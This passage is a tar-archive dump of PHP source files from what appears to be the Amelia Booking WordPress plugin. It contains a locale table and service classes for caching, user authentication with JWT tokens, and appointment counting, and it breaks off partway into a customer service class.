) , 'bs_BA' => array( 'name' => 'Bosnian', 'code' => 'bs', 'wp_locale' => 'bs_BA', 'country_code' => 'ba' ) , 'ca' => array( 'name' => 'Catalan', 'code' => 'ca', 'wp_locale' => 'ca', 'country_code' => 'es' ) , 'ceb' => array( 'name' => 'Cebuano', 'code' => 'ceb', 'wp_locale' => 'ceb', 'country_code' => 'ph' ) , 'cs_CZ' => array( 'name' => 'Czech', 'code' => 'cs', 'wp_locale' => 'cs_CZ', 'country_code' => 'cz' ) , 'cy' => array( 'name' => 'Welsh', 'code' => 'cy', 'wp_locale' => 'cy', 'country_code' => 'gb' ) , 'da_DK' => array( 'name' => 'Danish', 'code' => 'da', 'wp_locale' => 'da_DK', 'country_code' => 'dk' ) , 'de_DE_formal' => array( 'name' => 'German (formal)', 'code' => 'de', 'wp_locale' => 'de_DE_formal', 'country_code' => 'de' ) , 'de_AT' => array( 'name' => 'German (Austria)', 'code' => 'de', 'wp_locale' => 'de_AT', 'country_code' => 'at' ) , 'de_DE' => array( 'name' => 'German', 'code' => 'de', 'wp_locale' => 'de_DE', 'country_code' => 'de' ) , 'de_CH' => array( 'name' => 'German (Switzerland)', 'code' => 'de-ch', 'wp_locale' => 'de_CH', 'country_code' => 'ch' ) , 'de_CH_informal' => array( 'name' => 'German (Switzerland) informal', 'code' => 'de-ch', 'wp_locale' => 'de_CH_informal', 'country_code' => 'ch' ) , 'dsb' => array( 'name' => 'Lower Sorbian', 'code' => 'dsb', 'wp_locale' => 'dsb', 'country_code' => 'de' ) , 'dzo' => array( 'name' => 'Dzongkha', 'code' => 'dzo', 'wp_locale' => 'dzo', 'country_code' => 'bt' ) , 'el' => array( 'name' => 'Greek', 'code' => 'el', 'wp_locale' => 'el', 'country_code' => 'gr' ) , 'en_AU' => array( 'name' => 'English (Australia)', 'code' => 'en-au', 'wp_locale' => 'en_AU', 'country_code' => 'au' ) , 'en_CA' => array( 'name' => 'English (Canada)', 'code' => 'en-ca', 'wp_locale' => 'en_CA', 'country_code' => 'ca' ) , 'en_GB' => array( 'name' => 'English (UK)', 'code' => 'en-gb', 'wp_locale' => 'en_GB', 'country_code' => 'gb' ) , 'en_US' => array( 'name' => 'English (US)', 'code' => 'en', 'wp_locale' => 'en_US', 'country_code' => 'us' ) , 'en_NZ' => array( 'name' => 'English (New Zealand)', 'code' => 'en', 'wp_locale' => 'en_NZ', 'country_code' => 'nz' ) , 'en_ZA' => array( 'name' => 'English (South Africa)', 'code' => 'en', 'wp_locale' => 'en_ZA', 'country_code' => 'za' ) , 'es_PE' => array( 'name' => 'Spanish (Peru)', 'code' => 'es-pe', 'wp_locale' => 'es_PE', 'country_code' => 'pe' ) , 'es_CR' => array( 'name' => 'Spanish (Costa Rica)', 'code' => 'es-cr', 'wp_locale' => 'es_CR', 'country_code' => 'cr' ) , 'es_EC' => array( 'name' => 'Spanish (Ecuador)', 'code' => 'es-ec', 'wp_locale' => 'es_EC', 'country_code' => 'ec' ) , 'es_CO' => array( 'name' => 'Spanish (Colombia)', 'code' => 'es-co', 'wp_locale' => 'es_CO', 'country_code' => 'co' ) , 'es_UY' => array( 'name' => 'Spanish (Uruguay)', 'code' => 'es-uy', 'wp_locale' => 'es_UY', 'country_code' => 'uy' ) , 'es_PR' => array( 'name' => 'Spanish (Puerto Rico)', 'code' => 'es-pr', 'wp_locale' => 'es_PR', 'country_code' => 'pr' ) , 'es_GT' => array( 'name' => 'Spanish (Guatemala)', 'code' => 'es', 'wp_locale' => 'es_GT', 'country_code' => 'gt' ) , 'es_AR' => array( 'name' => 'Spanish (Argentina)', 'code' => 'es-ar', 'wp_locale' => 'es_AR', 'country_code' => 'ar' ) , 'es_CL' => array( 'name' => 'Spanish (Chile)', 'code' => 'es-cl', 'wp_locale' => 'es_CL', 'country_code' => 'cl' ) , 'es_MX' => array( 'name' => 'Spanish (Mexico)', 'code' => 'es-mx', 'wp_locale' => 'es_MX', 'country_code' => 'mx' ) , 'es_ES' => array( 'name' => 'Spanish (Spain)', 'code' => 'es', 'wp_locale' => 'es_ES', 'country_code' => 'es' ) , 'es_VE' => array( 'name' => 'Spanish (Venezuela)', 'code' => 'es-ve', 'wp_locale' => 'es_VE', 'country_code' => 've' ) , 'et' => array( 'name' => 'Estonian', 'code' => 'et', 'wp_locale' => 'et', 'country_code' => 'ee' ) , 'eu' => array( 'name' => 'Basque', 'code' => 'eu', 'wp_locale' => 'eu', 'country_code' => 'es' ) , 'fa_IR' => array( 'name' => 'Persian', 'code' => 'fa', 'wp_locale' => 'fa_IR', 'country_code' => 'ir' ) , 'fa_AF' => array( 'name' => 'Persian (Afghanistan)', 'code' => 'fa-af', 'wp_locale' => 'fa_AF', 'country_code' => 'af' ) , 'fi' => array( 'name' => 'Finnish', 'code' => 'fi', 'wp_locale' => 'fi', 'country_code' => 'fi' ) , 'fr_FR' => array( 'name' => 'French (France)', 'code' => 'fr', 'wp_locale' => 'fr_FR', 'country_code' => 'fr' ) , 'fr_CA' => array( 'name' => 'French (Canada)', 'code' => 'fr', 'wp_locale' => 'fr_CA', 'country_code' => 'ca' ) , 'fr_BE' => array( 'name' => 'French (Belgium)', 'code' => 'fr-be', 'wp_locale' => 'fr_BE', 'country_code' => 'be' ) , 'fur' => array( 'name' => 'Friulian', 'code' => 'fur', 'wp_locale' => 'fur', 'country_code' => 'it' ) , 'gd' => array( 'name' => 'Scottish Gaelic', 'code' => 'gd', 'wp_locale' => 'gd', 'country_code' => 'gb' ) , 'gl_ES' => array( 'name' => 'Galician', 'code' => 'gl', 'wp_locale' => 'gl_ES', 'country_code' => 'es' ) , 'gu' => array( 'name' => 'Gujarati', 'code' => 'gu', 'wp_locale' => 'gu', 'country_code' => 'in' ) , 'haz' => array( 'name' => 'Hazaragi', 'code' => 'haz', 'wp_locale' => 'haz', 'country_code' => 'af' ) , 'he_IL' => array( 'name' => 'Hebrew', 'code' => 'he', 'wp_locale' => 'he_IL', 'country_code' => 'il' ) , 'hi_IN' => array( 'name' => 'Hindi', 'code' => 'hi', 'wp_locale' => 'hi_IN', 'country_code' => 'in' ) , 'hr' => array( 'name' => 'Croatian', 'code' => 'hr', 'wp_locale' => 'hr', 'country_code' => 'hr' ) , 'hsb' => array( 'name' => 'Upper Sorbian', 'code' => 'hsb', 'wp_locale' => 'hsb', 'country_code' => 'de' ) , 'hu_HU' => array( 'name' => 'Hungarian', 'code' => 'hu', 'wp_locale' => 'hu_HU', 'country_code' => 'hu' ) , 'hy' => array( 'name' => 'Armenian', 'code' => 'hy', 'wp_locale' => 'hy', 'country_code' => 'am' ) , 'id_ID' => array( 'name' => 'Indonesian', 'code' => 'id', 'wp_locale' => 'id_ID', 'country_code' => 'id' ) , 'is_IS' => array( 'name' => 'Icelandic', 'code' => 'is', 'wp_locale' => 'is_IS', 'country_code' => 'is' ) , 'it_IT' => array( 'name' => 'Italian', 'code' => 'it', 'wp_locale' => 'it_IT', 'country_code' => 'it' ) , 'ja' => array( 'name' => 'Japanese', 'code' => 'ja', 'wp_locale' => 'ja', 'country_code' => 'jp' ) , 'jv_ID' => array( 'name' => 'Javanese', 'code' => 'jv', 'wp_locale' => 'jv_ID', 'country_code' => 'id' ) , 'ka_GE' => array( 'name' => 'Georgian', 'code' => 'ka', 'wp_locale' => 'ka_GE', 'country_code' => 'ge' ) , 'kab' => array( 'name' => 'Kabyle', 'code' => 'kab', 'wp_locale' => 'kab', 'country_code' => 'dz' ) , 'kk' => array( 'name' => 'Kazakh', 'code' => 'kk', 'wp_locale' => 'kk', 'country_code' => 'kz' ) , 'km' => array( 'name' => 'Khmer', 'code' => 'km', 'wp_locale' => 'km', 'country_code' => 'kh' ) , 'kn' => array( 'name' => 'Kannada', 'code' => 'kn', 'wp_locale' => 'kn', 'country_code' => 'in' ) , 'ko_KR' => array( 'name' => 'Korean', 'code' => 'ko', 'wp_locale' => 'ko_KR', 'country_code' => 'kr' ) , 'lo' => array( 'name' => 'Lao', 'code' => 'lo', 'wp_locale' => 'lo', 'country_code' => 'la' ) , 'lt_LT' => array( 'name' => 'Lithuanian', 'code' => 'lt', 'wp_locale' => 'lt_LT', 'country_code' => 'lt' ) , 'lb_LU' => array( 'name' => 'Luxembourgish', 'code' => 'lb', 'wp_locale' => 'lb_LU', 'country_code' => 'lu' ) , 'lv' => array( 'name' => 'Latvian', 'code' => 'lv', 'wp_locale' => 'lv', 'country_code' => 'lv' ) , 'mk_MK' => array( 'name' => 'Macedonian', 'code' => 'mk', 'wp_locale' => 'mk_MK', 'country_code' => 'mk' ) , 'ml_IN' => array( 'name' => 'Malayalam', 'code' => 'ml', 'wp_locale' => 'ml_IN', 'country_code' => 'in' ) , 'mn' => array( 'name' => 'Mongolian', 'code' => 'mn', 'wp_locale' => 'mn', 'country_code' => 'mn' ) , 'mr' => array( 'name' => 'Marathi', 'code' => 'mr', 'wp_locale' => 'mr', 'country_code' => 'in' ) , 'ms_MY' => array( 'name' => 'Malay', 'code' => 'ms', 'wp_locale' => 'ms_MY', 'country_code' => 'my' ) , 'my_MM' => array( 'name' => 'Burmese', 'code' => 'mya', 'wp_locale' => 'my_MM', 'country_code' => 'mm' ) , 'nb_NO' => array( 'name' => 'Norwegian (Bokmål)', 'code' => 'nb', 'wp_locale' => 'nb_NO', 'country_code' => 'no' ) , 'ne_NP' => array( 'name' => 'Nepali', 'code' => 'ne', 'wp_locale' => 'ne_NP', 'country_code' => 'np' ) , 'nl_BE' => array( 'name' => 'Dutch (Belgium)', 'code' => 'nl-be', 'wp_locale' => 'nl_BE', 'country_code' => 'be' ) , 'nl_NL' => array( 'name' => 'Dutch', 'code' => 'nl', 'wp_locale' => 'nl_NL', 'country_code' => 'nl' ) , 'nl_NL_formal' => array( 'name' => 'Dutch (formal)', 'code' => 'nl', 'wp_locale' => 'nl_NL_formal', 'country_code' => 'nl' ) , 'nn_NO' => array( 'name' => 'Norwegian (Nynorsk)', 'code' => 'nn', 'wp_locale' => 'nn_NO', 'country_code' => 'no' ) , 'pa_IN' => array( 'name' => 'Punjabi', 'code' => 'pa', 'wp_locale' => 'pa_IN', 'country_code' => 'in' ) , 'pl_PL' => array( 'name' => 'Polish', 'code' => 'pl', 'wp_locale' => 'pl_PL', 'country_code' => 'pl' ) , 'ps' => array( 'name' => 'Pashto', 'code' => 'ps', 'wp_locale' => 'ps', 'country_code' => 'af' ) , 'pt_PT_ao90' => array( 'name' => 'Portuguese (AO90)', 'code' => 'pt', 'wp_locale' => 'pt_PT_ao90', 'country_code' => 'pt' ) , 'pt_PT' => array( 'name' => 'Portuguese (Portugal)', 'code' => 'pt', 'wp_locale' => 'pt_PT', 'country_code' => 'pt' ) , 'pt_AO' => array( 'name' => 'Portuguese (Angola)', 'code' => 'pt-ao', 'wp_locale' => 'pt_AO', 'country_code' => 'ao' ) , 'pt_BR' => array( 'name' => 'Portuguese (Brazil)', 'code' => 'pt-br', 'wp_locale' => 'pt_BR', 'country_code' => 'br' ) , 'rhg' => array( 'name' => 'Rohingya', 'code' => 'rhg', 'wp_locale' => 'rhg', 'country_code' => 'mm' ) , 'ro_RO' => array( 'name' => 'Romanian', 'code' => 'ro', 'wp_locale' => 'ro_RO', 'country_code' => 'ro' ) , 'ru_RU' => array( 'name' => 'Russian', 'code' => 'ru', 'wp_locale' => 'ru_RU', 'country_code' => 'ru' ) , 'sah' => array( 'name' => 'Sakha', 'code' => 'sah', 'wp_locale' => 'sah', 'country_code' => 'ru' ) , 'snd' => array( 'name' => 'Sindhi', 'code' => 'snd', 'wp_locale' => 'snd', 'country_code' => 'pk' ) , 'si_LK' => array( 'name' => 'Sinhala', 'code' => 'si', 'wp_locale' => 'si_LK', 'country_code' => 'lk' ) , 'sk_SK' => array( 'name' => 'Slovak', 'code' => 'sk', 'wp_locale' => 'sk_SK', 'country_code' => 'sk' ) , 'skr' => array( 'name' => 'Saraiki', 'code' => 'skr', 'wp_locale' => 'skr', 'country_code' => 'pk' ) , 'sl_SI' => array( 'name' => 'Slovenian', 'code' => 'sl', 'wp_locale' => 'sl_SI', 'country_code' => 'si' ) , 'sq' => array( 'name' => 'Albanian', 'code' => 'sq', 'wp_locale' => 'sq', 'country_code' => 'al' ) , 'sr_RS' => array( 'name' => 'Serbian', 'code' => 'sr', 'wp_locale' => 'sr_RS', 'country_code' => 'rs' ) , 'sv_SE' => array( 'name' => 'Swedish', 'code' => 'sv', 'wp_locale' => 'sv_SE', 'country_code' => 'se' ) , 'sw' => array( 'name' => 'Kiswahili', 'code' => 'sw', 'wp_locale' => 'sw', 'country_code' => 'ke' ) , 'szl' => array( 'name' => 'Silesian', 'code' => 'szl', 'wp_locale' => 'szl', 'country_code' => 'pl' ) , 'ta_IN' => array( 'name' => 'Tamil', 'code' => 'ta', 'wp_locale' => 'ta_IN', 'country_code' => 'in' ) , 'ta_LK' => array( 'name' => 'Tamil (Sri Lanka)', 'code' => 'ta-lk', 'wp_locale' => 'ta_LK', 'country_code' => 'lk' ) , 'te' => array( 'name' => 'Telugu', 'code' => 'te', 'wp_locale' => 'te', 'country_code' => 'in' ) , 'th' => array( 'name' => 'Thai', 'code' => 'th', 'wp_locale' => 'th', 'country_code' => 'th' ) , 'tl' => array( 'name' => 'Tagalog', 'code' => 'tl', 'wp_locale' => 'tl', 'country_code' => 'ph' ) , 'tr_TR' => array( 'name' => 'Turkish', 'code' => 'tr', 'wp_locale' => 'tr_TR', 'country_code' => 'tr' ) , 'tah' => array( 'name' => 'Tahitian', 'code' => 'tah', 'wp_locale' => 'tah', 'country_code' => 'pf' ) , 'ug_CN' => array( 'name' => 'Uighur', 'code' => 'ug', 'wp_locale' => 'ug_CN', 'country_code' => 'cn' ) , 'uk' => array( 'name' => 'Ukrainian', 'code' => 'uk', 'wp_locale' => 'uk', 'country_code' => 'ua' ) , 'ur' => array( 'name' => 'Urdu', 'code' => 'ur', 'wp_locale' => 'ur', 'country_code' => 'pk' ) , 'uz_UZ' => array( 'name' => 'Uzbek', 'code' => 'uz', 'wp_locale' => 'uz_UZ', 'country_code' => 'uz' ) , 'vi' => array( 'name' => 'Vietnamese', 'code' => 'vi', 'wp_locale' => 'vi', 'country_code' => 'vn' ) , 'zh_HK' => array( 'name' => 'Chinese (Hong Kong)', 'code' => 'zh-hk', 'wp_locale' => 'zh_HK', 'country_code' => 'hk' ) , 'zh_CN' => array( 'name' => 'Chinese (China)', 'code' => 'zh-cn', 'wp_locale' => 'zh_CN', 'country_code' => 'cn' ) , 'zh_TW' => array( 'name' => 'Chinese (Taiwan)', 'code' => 'zh-tw', 'wp_locale' => 'zh_TW', 'country_code' => 'tw' ) ); } } Services/Cache/CacheApplicationService.php 0000666 00000003722 15165412624 0014571 0 ustar 00 <?php namespace AmeliaBooking\Application\Services\Cache; use AmeliaBooking\Domain\Entity\Cache\Cache; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Common\Container; use AmeliaBooking\Infrastructure\Repository\Cache\CacheRepository; use AmeliaBooking\Infrastructure\WP\Integrations\WooCommerce\WooCommerceService; use Interop\Container\Exception\ContainerException; use InvalidArgumentException; use Slim\Exception\ContainerValueNotFoundException; /** * Class CacheApplicationService * * @package AmeliaBooking\Application\Services\Cache */ class CacheApplicationService { private $container; /** * CacheApplicationService constructor. * * @param Container $container * * @throws InvalidArgumentException */ public function __construct(Container $container) { $this->container = $container; } /** * @param string $name * * @return array|null * * @throws ContainerValueNotFoundException * @throws QueryExecutionException */ public function getCacheByName($name) { /** @var CacheRepository $cacheRepository */ $cacheRepository = $this->container->get('domain.cache.repository'); /** @var Cache $cache */ $cache = ($data = explode('_', $name)) && isset($data[0], $data[1]) ? $cacheRepository->getByIdAndName($data[0], $data[1]) : null; if ($cache && $cache->getData()) { return json_decode($cache->getData()->getValue(), true); } return null; } /** * @param string $name * * @return array|null * * @throws ContainerValueNotFoundException * @throws ContainerException */ public function getWcCacheByName($name) { /** @var Cache $cache */ return ($data = explode('_', $name)) && isset($data[0], $data[1]) ? WooCommerceService::getCacheData($data[0]) : null; } } Services/User/UserApplicationService.php 0000666 00000044344 15165412624 0014424 0 ustar 00 <?php namespace AmeliaBooking\Application\Services\User; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\Bookable\PackageApplicationService; use AmeliaBooking\Application\Services\Helper\HelperService; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Common\Exceptions\AuthorizationException; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Booking\Appointment\Appointment; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Domain\Entity\User\Customer; use AmeliaBooking\Domain\Entity\User\Provider; use AmeliaBooking\Domain\Services\DateTime\DateTimeService; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Domain\ValueObjects\Json; use AmeliaBooking\Domain\ValueObjects\Number\Integer\Id; use AmeliaBooking\Domain\ValueObjects\Number\Integer\LoginType; use AmeliaBooking\Infrastructure\Common\Container; use AmeliaBooking\Infrastructure\Common\Exceptions\NotFoundException; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\PackageCustomerServiceRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\AppointmentRepository; use AmeliaBooking\Infrastructure\Repository\User\UserRepository; use AmeliaBooking\Infrastructure\Services\Google\GoogleCalendarService; use AmeliaBooking\Infrastructure\Services\Outlook\OutlookCalendarService; use AmeliaBooking\Infrastructure\WP\UserService\CreateWPUser; use AmeliaBooking\Infrastructure\WP\UserService\UserService; use Exception; use AmeliaFirebase\JWT\JWT; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class UserApplicationService * * @package AmeliaBooking\Application\Services\User */ class UserApplicationService { private $container; /** * ProviderApplicationService constructor. * * @param Container $container * * @throws \InvalidArgumentException */ public function __construct(Container $container) { $this->container = $container; } /** * * @param int $userId * * @return array * * @throws ContainerValueNotFoundException * @throws InvalidArgumentException * @throws QueryExecutionException * @throws NotFoundException */ public function getAppointmentsCountForUser($userId) { /** @var UserRepository $userRepository */ $userRepository = $this->container->get('domain.users.repository'); /** @var AbstractUser $user */ $user = $userRepository->getById($userId); /** @var AppointmentRepository $appointmentRepo */ $appointmentRepo = $this->container->get('domain.booking.appointment.repository'); /** @var PackageCustomerServiceRepository $packageCustomerServiceRepository */ $packageCustomerServiceRepository = $this->container->get('domain.bookable.packageCustomerService.repository'); /** @var Collection $appointments */ $appointments = new Collection(); switch ($user->getType()) { case (AbstractUser::USER_ROLE_PROVIDER): $appointments = $appointmentRepo->getFiltered(['providerId' => $userId]); /** @var Collection $customerAppointments */ $customerAppointments = $appointmentRepo->getFiltered(['customerId' => $userId]); /** @var Appointment $appointment */ foreach ($customerAppointments->getItems() as $appointment) { if (!$appointments->keyExists($appointment->getId()->getValue())) { $appointments->addItem($appointment, $appointment->getId()->getValue()); } } break; case (AbstractUser::USER_ROLE_CUSTOMER): $appointments = $appointmentRepo->getFiltered(['customerId' => $userId]); break; } $now = DateTimeService::getNowDateTimeObject(); $futureAppointments = 0; $pastAppointments = 0; /** @var Appointment $appointment */ foreach ($appointments->getItems() as $appointment) { if ($appointment->getBookingStart()->getValue() >= $now) { $futureAppointments++; } else { $pastAppointments++; } } /** @var Collection $packageCustomerServices */ $packageCustomerServices = $packageCustomerServiceRepository->getByCriteria(['customerId' => $userId]); /** @var PackageApplicationService $packageApplicationService */ $packageApplicationService = $this->container->get('application.bookable.package'); return [ 'futureAppointments' => $futureAppointments, 'pastAppointments' => $pastAppointments, 'packageAppointments' => $packageApplicationService->getPackageUnusedBookingsCount( $packageCustomerServices, $appointments ), ]; } /** * @param int $userId * @param AbstractUser $user * * @throws ContainerValueNotFoundException * @throws InvalidArgumentException * @throws QueryExecutionException */ public function setWpUserIdForNewUser($userId, $user) { if (!$user->getEmail() || !trim($user->getEmail()->getValue())) { return; } /** @var CreateWPUser $createWPUserService */ $createWPUserService = $this->container->get('user.create.wp.user'); $externalId = $createWPUserService->create( $user->getEmail()->getValue(), $user->getFirstName() ? $user->getFirstName()->getValue() : '', $user->getLastName() ? $user->getLastName()->getValue() : '', 'wpamelia-' . $user->getType() ); /** @var UserRepository $userRepository */ $userRepository = $this->container->get('domain.users.repository'); if ($externalId && !$userRepository->findByExternalId($externalId)) { $user->setExternalId(new Id($externalId)); $userRepository->update($userId, $user); } } /** * @param int $userId * @param AbstractUser $user * * @throws ContainerValueNotFoundException * @throws InvalidArgumentException * @throws QueryExecutionException * @throws ContainerException */ public function setWpUserIdForExistingUser($userId, $user) { /** @var CreateWPUser $createWPUserService */ $createWPUserService = $this->container->get('user.create.wp.user'); $externalId = $user->getExternalId() ? $user->getExternalId()->getValue() : null; /** @var AbstractUser $wpUser */ $wpUser = $this->container->get('logged.in.user'); if (!$wpUser && $user->getExternalId()) { /** @var UserService $userService */ $userService = $this->container->get('users.service'); $wpUser = $userService->getWpUserById($user->getExternalId()->getValue()); } if ($wpUser && $wpUser->getType() !== AbstractUser::USER_ROLE_ADMIN) { $createWPUserService->update( $externalId, 'wpamelia-' . $user->getType() ); } /** @var UserRepository $userRepository */ $userRepository = $this->container->get('domain.users.repository'); if ($externalId && !$userRepository->findByExternalId($externalId)) { $user->setExternalId(new Id($externalId)); $userRepository->update($userId, $user); } } /** * @param AbstractUser $user * * @return boolean * */ public function isCustomer($user) { return $user === null || $user->getType() === Entities::CUSTOMER; } /** * @param AbstractUser $user * * @return boolean * */ public function isProvider($user) { return $user === null || $user->getType() === Entities::PROVIDER; } /** * @param Provider|Customer $user * @param boolean $sendToken * @param boolean $checkIfSavedPassword * @param int $loginType * @param string $cabinetType * * @return CommandResult * * @throws ContainerException * @throws Exception */ public function getAuthenticatedUserResponse($user, $sendToken, $checkIfSavedPassword, $loginType, $cabinetType, $changePass = false) { $result = new CommandResult(); if ($user->getType() !== $cabinetType && $user->getType() !== AbstractUser::USER_ROLE_ADMIN) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Could not retrieve user'); $result->setData(['invalid_credentials' => true]); return $result; } /** @var HelperService $helperService */ $helperService = $this->container->get('application.helper.service'); /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); /** @var array $cabinetSettings */ $cabinetSettings = $settingsService->getSetting('roles', $cabinetType . 'Cabinet'); /** @var ProviderApplicationService $providerService */ $providerService = $this->container->get('application.user.provider.service'); /** @var GoogleCalendarService $googleCalendarService */ $googleCalendarService = $this->container->get('infrastructure.google.calendar.service'); /** @var OutlookCalendarService $outlookCalendarService */ $outlookCalendarService = $this->container->get('infrastructure.outlook.calendar.service'); // If cabinet is for provider, return provider with services and schedule if ($cabinetType === AbstractUser::USER_ROLE_PROVIDER) { $password = $user->getPassword(); /** @var Provider $user */ $user = $providerService->getProviderWithServicesAndSchedule($user->getId()->getValue()); $providerService->modifyPeriodsWithSingleLocationAfterFetch($user->getWeekDayList()); $providerService->modifyPeriodsWithSingleLocationAfterFetch($user->getSpecialDayList()); $user->setPassword($password); } /** @var array $userArray */ $userArray = $user->toArray(); // Set activity if it is employee cabinet if ($cabinetType === AbstractUser::USER_ROLE_PROVIDER) { $companyDaysOff = $settingsService->getCategorySettings('daysOff'); $companyDayOff = $providerService->checkIfTodayIsCompanyDayOff($companyDaysOff); $userArray = $providerService->manageProvidersActivity( [$userArray], $companyDayOff )[0]; try { if ($outlookCalendarService) { $userArray['outlookCalendar']['calendarList'] = $outlookCalendarService->listCalendarList($user); $userArray['outlookCalendar']['calendarId'] = $outlookCalendarService->getProviderOutlookCalendarId( $user ); } } catch (\Exception $e) { } try { if ($googleCalendarService) { $userArray['googleCalendar']['calendarList'] = $googleCalendarService->listCalendarList($user); $userArray['googleCalendar']['calendarId'] = $googleCalendarService->getProviderGoogleCalendarId( $user ); } } catch (\Exception $e) { } } $responseData = [ Entities::USER => $userArray, 'is_wp_user' => $loginType === LoginType::WP_USER ]; if (($loginType === LoginType::AMELIA_URL_TOKEN || $loginType === LoginType::AMELIA_CREDENTIALS) && $checkIfSavedPassword && $cabinetSettings['loginEnabled'] ) { if ($user->getPassword() === null || $user->getPassword()->getValue() === null) { $responseData['set_password'] = true; } else if ($changePass) { $responseData['change_password'] = true; } } if ($sendToken) { $responseData['token'] = $helperService->getGeneratedJWT( $user->getEmail()->getValue(), $cabinetSettings['headerJwtSecret'], DateTimeService::getNowDateTimeObject()->getTimestamp() + $cabinetSettings['tokenValidTime'], $loginType ); } $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully'); $result->setData($responseData); return $result; } /** * @param $token * @param $isUrlToken * @param $jwtType * * @return AbstractUser|null * * @throws AccessDeniedException * @throws InvalidArgumentException * @throws QueryExecutionException */ public function getAuthenticatedUser($token, $isUrlToken, $jwtType) { /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); /** @var array $jwtSettings */ $jwtSettings = $settingsService->getSetting('roles', $jwtType); if (!$jwtSettings['enabled']) { throw new AccessDeniedException('You are not allowed to access this page.'); } try { $jwtObject = JWT::decode( $token, $jwtSettings[$isUrlToken ? 'urlJwtSecret' : 'headerJwtSecret'], array('HS256') ); } catch (Exception $e) { return null; } /** @var UserRepository $userRepository */ $userRepository = $this->container->get('domain.users.repository'); /** @var Customer $user */ $user = $userRepository->getByEmail($jwtObject->email, true, true); if (!($user instanceof AbstractUser)) { return null; } $user->setLoginType($jwtObject->wp); if ($isUrlToken) { $usedTokens = $user->getUsedTokens() && $user->getUsedTokens()->getValue() ? json_decode($user->getUsedTokens()->getValue(), true) : []; if (in_array($token, $usedTokens, true) && ($usedTokensCount = array_count_values($usedTokens)) && $usedTokensCount[$token] > 4 ) { return null; } $currentTimeStamp = DateTimeService::getNowDateTimeObject()->getTimestamp(); foreach ($usedTokens as $tokenKey => $usedToken) { if ($tokenKey < $currentTimeStamp) { unset($usedTokens[$tokenKey]); } } $usedTokens[$jwtSettings['tokenValidTime'] + $currentTimeStamp] = $token; $newUsedTokens = new Json(json_encode($usedTokens)); $userRepository->updateFieldById($user->getId()->getValue(), $newUsedTokens->getValue(), 'usedTokens'); } return $user; } /** * @param string $token * @param string $cabinetType * * @return AbstractUser * * @throws AccessDeniedException * @throws AuthorizationException * @throws InvalidArgumentException * @throws QueryExecutionException */ public function authorization($token, $cabinetType) { /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); if ($cabinetType !== 'urlAttachment') { $cabinetType .= 'Cabinet'; } /** @var array $cabinetSettings */ $cabinetSettings = $settingsService->getSetting('roles', $cabinetType); /** @var AbstractUser $user */ $user = $this->container->get('logged.in.user'); $isAmeliaWPUser = $user && $user->getId() !== null; // check if token exist and user is not logged in as Word Press User and token is valid if ($token && !$isAmeliaWPUser && ($user = $this->getAuthenticatedUser($token, false, $cabinetType)) === null) { throw new AuthorizationException('Authorization Exception.'); } if ($user && !$isAmeliaWPUser && $user->getLoginType() === LoginType::WP_USER) { throw new AuthorizationException('Authorization Exception.'); } // if user is not logged in as Word Press User or token not exist/valid if (!$this->isAmeliaUser($user)) { throw new AuthorizationException('Authorization Exception.'); } $userType = $user->getType(); // check if user is not logged in as Word Press User and password is required and password is not created if (!$isAmeliaWPUser && $userType !== AbstractUser::USER_ROLE_ADMIN && $userType !== AbstractUser::USER_ROLE_MANAGER && $cabinetSettings['loginEnabled'] && $this->isAmeliaUser($user) && ($user->getLoginType() === LoginType::AMELIA_URL_TOKEN || $user->getLoginType() === LoginType::AMELIA_CREDENTIALS ) && (!$user->getPassword() || !$user->getPassword()->getValue()) ) { throw new AuthorizationException('Authorization Exception.'); } return $user; } /** * @param AbstractUser $user * * @return boolean * */ public function isAmeliaUser($user) { return $user && ( $user->getId() !== null || $user->getType() === AbstractUser::USER_ROLE_ADMIN || $user->getType() === AbstractUser::USER_ROLE_MANAGER ); } /** * @return boolean */ public function isAdminAndAllowedToBookAtAnyTime() { /** @var SettingsService $settingsDomainService */ $settingsDomainService = $this->container->get('domain.settings.service'); return $settingsDomainService->getSetting('roles', 'allowAdminBookAtAnyTime') && ($loggedInUser = $this->container->get('logged.in.user')) && $loggedInUser->getType() === AbstractUser::USER_ROLE_ADMIN; } } Services/User/CustomerApplicationService.php 0000666 00000035666 15165412624 0015316 0 ustar 00 <?php namespace AmeliaBooking\Application\Services\User; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Services\Payment\PaymentApplicationService; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Bookable\Service\PackageCustomer; use AmeliaBooking\Domain\Entity\Booking\AbstractBooking; use AmeliaBooking\Domain\Entity\Booking\Appointment\Appointment; use AmeliaBooking\Domain\Entity\Booking\Appointment\CustomerBooking; use AmeliaBooking\Domain\Entity\Booking\Event\Event; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\Payment\Payment; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Domain\Entity\User\Customer; use AmeliaBooking\Domain\Factory\User\UserFactory; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Domain\ValueObjects\Number\Integer\Id; use AmeliaBooking\Infrastructure\Common\Container; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\PackageCustomerRepository; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\PackageCustomerServiceRepository; use 